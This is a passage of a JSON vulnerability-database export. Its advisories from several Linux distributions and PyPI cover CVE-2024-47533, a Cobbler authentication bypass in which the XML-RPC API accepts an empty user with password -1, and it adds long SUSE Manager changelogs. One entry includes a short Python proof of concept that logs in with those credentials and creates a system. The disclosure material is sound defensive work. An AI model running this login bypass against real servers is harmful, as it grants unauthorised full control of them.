issue.(CVE-2024-47533)","status":"published","published":"2025-04-11T11:08:30Z","modified":"2026-08-18T01:18:45.856105193Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T15:52:42.714349Z"},{"id":"OESA-2025-1412","title":"cobbler security update","description":"Cobbler is a network install server. Cobbler supports PXE, ISO virtualized installs, and re-installing existing Linux machines. The last two modes use a helper tool, \u0026amp;apos;koan\u0026amp;apos;, that integrates with cobbler. Cobbler\u0026amp;apos;s advanced features include importing distributions from DVDs and rsync mirrors, kickstart templating, integrated yum mirroring, and built-in DHCP/DNS Management. Cobbler has a XML-RPC API for integration with other applications.\r\n\r\nSecurity Fix(es):\n\nCobbler, a Linux installation server that allows for rapid setup of network installation environments, has an improper authentication vulnerability starting in version 3.0.0 and prior to versions 3.2.3 and 3.3.7. `utils.get_shared_secret()` always returns `-1`, which allows anyone to connect to cobbler XML-RPC as user `\u0026apos;\u0026apos;` password `-1` and make any changes. This gives anyone with network access to a cobbler server full control of the server. Versions 3.2.3 and 3.3.7 fix the issue.(CVE-2024-47533)","status":"published","published":"2025-04-11T11:08:30Z","modified":"2026-08-18T01:18:40.183361742Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T15:52:42.714349Z"},{"id":"OESA-2025-1413","title":"cobbler security update","description":"Cobbler is a network install server. Cobbler supports PXE, ISO virtualized installs, and re-installing existing Linux machines. The last two modes use a helper tool, \u0026amp;apos;koan\u0026amp;apos;, that integrates with cobbler. Cobbler\u0026amp;apos;s advanced features include importing distributions from DVDs and rsync mirrors, kickstart templating, integrated yum mirroring, and built-in DHCP/DNS Management. Cobbler has a XML-RPC API for integration with other applications.\r\n\r\nSecurity Fix(es):\n\nCobbler, a Linux installation server that allows for rapid setup of network installation environments, has an improper authentication vulnerability starting in version 3.0.0 and prior to versions 3.2.3 and 3.3.7. `utils.get_shared_secret()` always returns `-1`, which allows anyone to connect to cobbler XML-RPC as user `\u0026apos;\u0026apos;` password `-1` and make any changes. This gives anyone with network access to a cobbler server full control of the server. Versions 3.2.3 and 3.3.7 fix the issue.(CVE-2024-47533)","status":"published","published":"2025-04-11T11:08:30Z","modified":"2026-08-18T01:18:45.802045303Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T15:52:42.714349Z"},{"id":"OESA-2025-1414","title":"cobbler security update","description":"Cobbler is a network install server. Cobbler supports PXE, ISO virtualized installs, and re-installing existing Linux machines. The last two modes use a helper tool, \u0026amp;apos;koan\u0026amp;apos;, that integrates with cobbler. Cobbler\u0026amp;apos;s advanced features include importing distributions from DVDs and rsync mirrors, kickstart templating, integrated yum mirroring, and built-in DHCP/DNS Management. Cobbler has a XML-RPC API for integration with other applications.\r\n\r\nSecurity Fix(es):\n\nCobbler, a Linux installation server that allows for rapid setup of network installation environments, has an improper authentication vulnerability starting in version 3.0.0 and prior to versions 3.2.3 and 3.3.7. `utils.get_shared_secret()` always returns `-1`, which allows anyone to connect to cobbler XML-RPC as user `\u0026apos;\u0026apos;` password `-1` and make any changes. This gives anyone with network access to a cobbler server full control of the server. Versions 3.2.3 and 3.3.7 fix the issue.(CVE-2024-47533)","status":"published","published":"2025-04-11T11:08:30Z","modified":"2026-08-18T01:18:45.788683551Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T15:52:42.714349Z"},{"id":"OESA-2025-1435","title":"cobbler security update","description":"Cobbler is a network install server. Cobbler supports PXE, ISO virtualized installs, and re-installing existing Linux machines. The last two modes use a helper tool, \u0026amp;apos;koan\u0026amp;apos;, that integrates with cobbler. Cobbler\u0026amp;apos;s advanced features include importing distributions from DVDs and rsync mirrors, kickstart templating, integrated yum mirroring, and built-in DHCP/DNS Management. Cobbler has a XML-RPC API for integration with other applications.\r\n\r\nSecurity Fix(es):\n\nCobbler, a Linux installation server that allows for rapid setup of network installation environments, has an improper authentication vulnerability starting in version 3.0.0 and prior to versions 3.2.3 and 3.3.7. `utils.get_shared_secret()` always returns `-1`, which allows anyone to connect to cobbler XML-RPC as user `\u0026apos;\u0026apos;` password `-1` and make any changes. This gives anyone with network access to a cobbler server full control of the server. Versions 3.2.3 and 3.3.7 fix the issue.(CVE-2024-47533)","status":"published","published":"2025-04-18T11:08:31Z","modified":"2026-08-18T01:18:45.816358459Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T15:52:42.714349Z"},{"id":"PYSEC-2026-316","title":"cobbler allows anyone to connect to cobbler XML-RPC server with known password and make changes","description":"### Summary\n\nutils.get_shared_secret() always returns -1 - allows anyone to connect to cobbler XML-RPC as user '' password -1 and make any changes.\n\n### Details\nutils.py get_shared_secret:\n```\ndef get_shared_secret() -\u003e Union[str, int]:\n    \"\"\"\n    The 'web.ss' file is regenerated each time cobblerd restarts and is used to agree on shared secret interchange\n    between the web server and cobblerd, and also the CLI and cobblerd, when username/password access is not required.\n    For the CLI, this enables root users to avoid entering username/pass if on the Cobbler server.\n\n    :return: The Cobbler secret which enables full access to Cobbler.\n    \"\"\"\n\n    try:\n        with open(\"/var/lib/cobbler/web.ss\", 'rb', encoding='utf-8') as fd:\n            data = fd.read()\n    except:\n        return -1\n    return str(data).strip()\n```\nAlways returns `-1` because of the following exception:\n```\nbinary mode doesn't take an encoding argument\n ```\n\nThis appears to have been introduced by commit 32c5cada013dc8daa7320a8eda9932c2814742b0 and so affects versions 3.0.0+.\n\n### PoC\n```\n#!/usr/bin/python3\n\nimport ssl\n import xmlrpc.client\n\nparams = { 'proto': 'https', 'host': 'COBBLER_SERVER', 'port': '443', 'username': '', 'password': -1 }\nssl_context = ssl._create_unverified_context()\n \nurl = '{proto}://{host}:{port}/cobbler_api'.format(**params)\nif ssl_context:\n    conn = xmlrpc.client.ServerProxy(url, context=ssl_context)\nelse:\n    conn = xmlrpc.client.Server(url)\n\ntry:\n    token = conn.login(params['username'], params['password'])\nexcept xmlrpc.client.Fault as e:\n    print(\"Failed to log in to Cobbler '{url}' as '{username}'. {error}\".format(url=url, error=e, **params))\n except Exception as e:\n    print(\"Connection to '{url}' failed. {error}\".format(url=url, error=e, **params))\n\nprint(\"Login success!\")\n\nsystem_id = conn.new_system(token)\n ```\n\n\n### Impact\nThis gives anyone with network access to a cobbler server full control of the server.\n","status":"published","published":"2026-06-29T11:50:40.621509Z","modified":"2026-07-02T13:00:07.833965265Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T15:52:56.429374Z"},{"id":"UBUNTU-CVE-2024-47533","description":"Cobbler, a Linux installation server that allows for rapid setup of network installation environments, has an improper authentication vulnerability starting in version 3.0.0 and prior to versions 3.2.3 and 3.3.7. `utils.get_shared_secret()` always returns `-1`, which allows anyone to connect to cobbler XML-RPC as user `''` password `-1` and make any changes. This gives anyone with network access to a cobbler server full control of the server. Versions 3.2.3 and 3.3.7 fix the issue.","status":"withdrawn","published":"2024-11-18T17:15:00Z","modified":"2026-03-02T12:00:51.294727Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T16:55:02.636559Z"},{"id":"openSUSE-SU-2024:0370-1","title":"Security update for cobbler","description":"This update for cobbler fixes the following issues:\n\nUpdate to 3.3.7\n\n* Security: Fix issue that allowed anyone to connect to the API\n  as admin (CVE-2024-47533, boo#1231332)\n* bind - Fix bug that prevents cname entries from being\n  generated successfully\n* Fix build on RHEL9 based distributions (fence-agents-all split)\n* Fix for Windows systems\n* Docs: Add missing dependencies for source installation\n* Fix issue that prevented systems from being synced when the\n  profile was edited\n","status":"published","published":"2024-11-21T11:21:20Z","modified":"2026-02-04T02:49:46.319699Z","updated_at":"2026-11-02T16:58:33.135986Z"},{"id":"openSUSE-SU-2024:0382-1","title":"Security update for cobbler","description":"This update for cobbler fixes the following issues:\n\nUpdate to 3.3.7:\n\n  * Security: Fix issue that allowed anyone to connect to the API\n    as admin (CVE-2024-47533, boo#1231332)\n\n  * bind - Fix bug that prevents cname entries from being\n    generated successfully\n  * Fix build on RHEL9 based distributions (fence-agents-all split)\n  * Fix for Windows systems\n  * Docs: Add missing dependencies for source installation\n  * Fix issue that prevented systems from being synced when the\n    profile was edited\n\nUpdate to 3.3.6:\n\n  * Upstream all openSUSE specific patches that were maintained in Git\n  * Fix rename of items that had uppercase letters\n  * Skip inconsistent collections instead of crashing the daemon\n\n- Update to 3.3.5:\n  * Added collection indicies for UUID's, MAC's, IP addresses and hostnames\n    boo#1219933\n  * Re-added to_dict() caching\n  * Added lazy loading for the daemon (off by default)\n\n- Update to 3.3.4:\n\n  * Added cobbler-tests-containers subpackage\n  * Updated the distro_signatures.json database\n  * The default name for grub2-efi changed to grubx64.efi to match\n    the DHCP template\n\n- Do generate boot menus even if no profiles or systems - only local boot\n- Avoid crashing running buildiso in certain conditions.\n- Fix settings migration schema to work while upgrading on existing running\n  Uyuni and SUSE Manager servers running with old Cobbler settings (boo#1203478)\n- Consider case of 'next_server' being a hostname during migration\n  of Cobbler collections.\n- Fix problem with 'proxy_url_ext' setting being None type.\n- Update v2 to v3 migration script to allow migration of collections\n  that contains settings from Cobbler 2. (boo#1203478)\n- Fix problem for the migration of 'autoinstall' collection attribute.\n- Fix failing Cobbler tests after upgrading to 3.3.3.\n- Fix regression: allow empty string as interface_type value (boo#1203478) \n- Avoid possible override of existing values during migration\n  of collections to 3.0.0 (boo#1206160)\n- Add missing code for previous patch file around boot_loaders migration.\n- Improve Cobbler performance with item cache and threadpool (boo#1205489)\n- Skip collections that are inconsistent instead of crashing (boo#1205749)\n- Items: Fix creation of 'default' NetworkInterface (boo#1206520)\n- S390X systems require their kernel options to have a linebreak at\n  79 characters (boo#1207595)\n- settings-migration-v1-to-v2.sh will now handle paths with whitespace\n  correct\n- Fix renaming Cobbler items (boo#1204900, boo#1209149)\n- Fix cobbler buildiso so that the artifact can be booted by EFI firmware.\n  (boo#1206060)\n- Add input_string_*, input_boolean, input_int functiont to public API\n","status":"published","published":"2024-11-28T17:32:46Z","modified":"2026-02-04T03:13:24.548364Z","updated_at":"2026-11-02T16:58:33.135986Z"},{"id":"openSUSE-SU-2024:14512-1","title":"cobbler-3.3.7-1.1 on GA media","description":"These are all security issues fixed in the cobbler-3.3.7-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2024-11-20T00:00:00Z","modified":"2026-02-04T04:33:28.730893Z","updated_at":"2026-11-02T16:58:36.976155Z"},{"id":"SUSE-SU-2024:4006-1","title":"Security update for SUSE Manager Server 4.3","description":"This update fixes the following issues:\n\ncobbler:\n\n- Security issues fixed:\n\n  * CVE-2024-47533: Prevent privilege escalation from none to admin (bsc#1231332)\n\n- Other bugs fixed:\n\n  * Increase start timeout for cobblerd unit (bsc#1219450)\n  * Provide sync_single_system for DHCP modules to improve performance (bsc#1219450)\n  * Add input_string_*, input_boolean, input_int functions to public API\n  * Add new setting for Uyuni authentication endpoint (bsc#1219887)\n\ngrafana-formula:\n\n- Version 0.11.0\n  * Add SLES 15 SP6 to supported versions (bsc#1228286)\n\ninter-server-sync:\n\n- Version 0.3.5-0\n  * Decode boolean values for export (bsc#1228545)\n\nsaltboot-formula:\n\n- Update to version 0.1.1723628891.ffb1da5\n  * Rework request stop function to avoid unnecessary warnings\n    (bsc#1212985)\n\nspacecmd:\n\n- Version 4.3.29-0\n  * Speed up softwarechannel_removepackages (bsc#1227606)\n\nspacewalk-backend:\n\n- Version 4.3.30-0\n  * Make ISSv1 timezone independent (bsc#1221505)\n  * reposync: introduce timeout when syncing DEB channels (bsc#1225960)\n  * yum_src: use proper name variable name for subprocess.TimeoutExpired\n  * Check and populate PTF attributes at the time of importing\n    packages (bsc#1225619)\n  * reposync: import GPG keys to RPM DB individually (bsc#1217003)\n  * Add log string to the journal when services are stopped\n    because of insufficient disk space\n\nspacewalk-certs-tools:\n\n- Version 4.3.26-0\n  * Fix private key format in jabberd certificate file (bsc#1228851)\n  * Fix parsing Authority Key Identifier when keyid is not prefixed (bsc#1229079)\n  * Support multiple certificates for root-ca-file and server-cert-file\n\nspacewalk-client-tools:\n\n- Version 4.3.21-0\n  * Update translation strings\n\nspacewalk-config:\n\n- Version 4.3.14-0\n  * Trust the Content-Length header from AJP (bsc#1226439)\n\nspacewalk-java:\n\n- Version 4.3.82-0\n  * Limit frontend-log message size (bsc#1231900)\n- Version 4.3.81-0\n  * Add detection of Ubuntu 24.04\n- Version 4.3.80-0\n  * Use custom select instead of errata view for better performance\n    (bsc#1225619)\n- Version 4.3.79-0\n  * Add info URL for cobbler to clean the system profile (bsc#1219645)\n  * Require correct scap packages for Ubuntu\n  * Require correct scap packages for Debian 12 (bsc#1227746)\n  * Fix finding system_checkin_threshold configuration value on Sytems\n    Overview page (bsc#1224108)\n  * Allow changing base channel to SUSE Liberty Linux LTSS when the system is on\n    Liberty (bsc#1228326)\n  * Implement product migration from RHEL and Clones to SUSE Liberty\n    Linux\n  * Remove system also from proxy SSH known_hosts (bsc#1228345)\n  * Fix NullPointerException when generating subscription matcher\n    input (bsc#1228638)\n  * Allow free products and SUSE Manager Proxy being managed by SUSE Manager\n    Server PAYG\n  * Open bootstrap script directory URL in a new page (bsc#1225603)\n  * Delay package list refresh when Salt was updated (bsc#1217978)\n  * Add SLE Micro 5 to the list of systems which support monitoring (bsc#1227334)\n  * Add all SLE Micro systems to the list of systems which get PTF repositories\n  * Update last sync refresh timestamp only when at least one time products\n    were synced before\n  * Prevent NullPointerException when listing history events without completion\n    time (bsc#1146701)\n  * Autoinstallation: prevent issues with duplicate IP address due to some\n    networks (bsc#1226461)\n  * Improve SQL queries and performance to check for PTF packages (bsc#1225619)\n  * Check the correct Salt package before product migration (bsc#1224209)\n  * Fix the date format output when using the HTTP API to use ISO 8601\n    format (bsc#1227543)\n  * Fix transactional update check for SL Micro (bsc#1227406)\n  * Improve score comparison in system search to fix ISE (bsc#1228412)\n  * Fix package profile update on CentOS 7 when yum-utils is not\n    installed (bsc#1227133)\n\nspacewalk-utils:\n\n- Version 4.3.22-0\n  * Add repositories for Ubuntu 24.04 LTS\n- Version 4.3.21-0\n  * Drop unsupported tool spacewalk-final-archive as it is broken\n    and may disclose sensitive information (bsc#1228945)\n\nspacewalk-web:\n\n- Security issues fixed:\n\n  * Version 4.3.42-0\n    + CVE-2024-49503: Escape organization credentials username to\n      mitigate XSS vulnerability (bsc#1231922) \n  * Version 4.3.41-0\n    + CVE-2024-49502: Validate proxy hostname format and escape proxy\n      username to mitigate XSS vulnerabilities (bsc#1231852)\n\n- Bugs fixed:\n\n  * Version 4.3.40-0\n    + Fix channel selection using SSM (bsc#1226917)\n    + Fix datetime selection when using maintenance windows (bsc#1228036)\n \nsusemanager:\n\n- Version 4.3.39-0\n  * Enable bootstrapping for Ubuntu 24.04 LTS\n- Version 4.3.38-0\n  * Add missing package python3-ply to bootstrap repo definition (bsc#1228130)\n  * Create special bootstrap data for SUSE Manager Server 4.3 with LTSS\n    updates for Hub scenario (bsc#1211899)\n  * Add LTSS updates to SUSE Manager Proxy 4.3 bootstrap data\n  * Add traditional stack to boostrap repo on sles15sp6 (bsc#1228147)\n  * Change package to libdbus-glib-1-2 on sle15sp6 (bsc#1228147)\n\nsusemanager-build-keys:\n\n- Extended 2048 bit SUSE SLE 12, 15 GA-SP5 key until 2028. (bsc#1229339)\n\nsusemanager-docs_en:\n\n- Documented Ubuntu 24.04 LTS as a supported client OS in Client\n- SUSE Manager 4.3.14 documentation update\n- In network ports section, deleted partially outdated image, added\n  port 443 for clients, and removed Cobbler only used internally\n  (bsc#1217338)\n- Added installer-updates.suse.com to the list of URLs in Installation\n  and Upgrade Guide (bsc#1229178)\n- Enhanced instructions about the permissions for the IAM role\n  in Public Cloud Guide\n- Fixed OS minor number in Client Configuration Guide (bsc#1218090)\n- Added warning about Package Hub (bsc#1221435)\n- Removed Verify Packages section from Package Management chapter\n  in Client Configuration Guide\n- Added note about usernames in PAM section in Administration Guide\n  (bsc#1227599)\n- Updated Content Lifecycle Management (CLM) examples for Red Hat\n  Enterprise Linux 9 (bsc#1226687)\n- Added VM based proxy installation in Installation and Upgrade Guide\n- Fixed PostgreSQL name entity\n- Improved Large Deployments Guide with better tuning values and\n  extra parameters added\n- Updated lists of SUSE Linux Enterprise hardening profiles in openSCAP\n  chapter in the Administration Guide\n\nsusemanager-schema:\n\n- Version 4.3.27-0\n  * Introduce new attributes to detect PTF packages (bsc#1225619)\n\nsusemanager-sls:\n\n- Version 4.3.45-0\n  * Start using DEB822 format for repository sources beginning with Ubuntu 24.04\n- Version 4.3.44-0\n  * Speed-up mgrutil.remove_ssh_known_host runner (bsc#1223312)\n  * Implement product migration from RHEL and clones to SUSE Liberty Linux\n  * Disable transactional-update.timer on SLEM at bootstrap\n  * Explicitly remove old venv-minion environment when updating Python versions\n  * sumautil: properly detect bridge interfaces (bsc#1226461)\n  * Fix typo on directories to clean up when deleting a system (bsc#1228101)\n  * Translate GPG URL if it has server name and client behind proxy\n    (bsc#1223988)\n  * Fix yum-utils package missing on CentOS7 minions (bsc#1227133)\n  * Implement IMDSv2 for AWS instance detection (bsc#1226090)\n  * Fix package profile update on CentOS 7 when yum-utils is not\n    installed (bsc#1227133)\n  * Fix parsing passwords with special characters for PostgreSQL\n    exporter\n\nsusemanager-sync-data:\n\n- Version 4.3.21-0\n  * Add SLES15-SP5-LTSS channel families\n  * Add MicroOS PPC channel family\n- Version 4.3.20-0\n  * Add Ubuntu 24.04 support\n- Version 4.3.19-0\n  * Fix CentOS 7 repo urls (bsc#1227526)\n  * Add channel family for SLES 12 SP5 LTSS Extended Security\n  * Implement product migration from RHEL and clones to SUSE Liberty Linux\n\nuyuni-common-libs:\n\n- Version 4.3.11-0\n  * Enforce directory permissions at repo-sync when creating\n    directories (bsc#1229260)\n  * Make ISSv1 timezone independent (bsc#1221505)\n\nuyuni-reportdb-schema:\n\n- Version 4.3.11-0\n  * Change Errata CVE column to type text as a varchar reaches the\n    maximum (bsc#1226478)\n\nHow to apply this update:\n\n1. Log in as root user to the SUSE Manager Server.\n2. Stop the Spacewalk service:\n`spacewalk-service stop`\n3. Apply the patch using either zypper patch or YaST Online Update.\n4. Start the Spacewalk service:\n`spacewalk-service start`\n","status":"published","published":"2024-11-18T13:19:53Z","modified":"2025-05-02T04:37:09.133758Z","updated_at":"2026-11-02T15:53:55.639015Z"},{"id":"SUSE-SU-2024:4007-1","title":"Security update for SUSE Manager Server 4.3","description":"This update fixes the following issues:\n\nrelease-notes-susemanager:\n\n- Update to SUSE Manager 4.3.14\n  * Ubuntu 24.04 support as client\n  * Product migration from RHEL and Clones to SUSE Liberty Linux\n  * POS image templates now produce compressed images\n  * Date format for API endpoints has been changed to ISO-8601 format\n  * Security issues fixed:\n    CVE-2024-47533, CVE-2024-49502, CVE-2024-49503\n  * Bugs mentioned:\n    bsc#1146701, bsc#1211899, bsc#1212985, bsc#1217003, bsc#1217338\n    bsc#1217978, bsc#1218090, bsc#1219450, bsc#1219645, bsc#1219887\n    bsc#1221435, bsc#1221505, bsc#1223312, bsc#1223988, bsc#1224108\n    bsc#1224209, bsc#1225603, bsc#1225619, bsc#1225960, bsc#1226090\n    bsc#1226439, bsc#1226461, bsc#1226478, bsc#1226687, bsc#1226917\n    bsc#1227133, bsc#1227334, bsc#1227406, bsc#1227526, bsc#1227543\n    bsc#1227599, bsc#1227606, bsc#1227746, bsc#1228036, bsc#1228101\n    bsc#1228130, bsc#1228147, bsc#1228286, bsc#1228326, bsc#1228345\n    bsc#1228412, bsc#1228545, bsc#1228638, bsc#1228851, bsc#1228945\n    bsc#1229079, bsc#1229178, bsc#1229260, bsc#1229339, bsc#1231332\n    bsc#1231852, bsc#1231922, bsc#1231900\n\n","status":"published","published":"2024-11-18T13:20:15Z","modified":"2025-05-02T04:37:09.194514Z","updated_at":"2026-11-02T15:53:55.639015Z"}]}}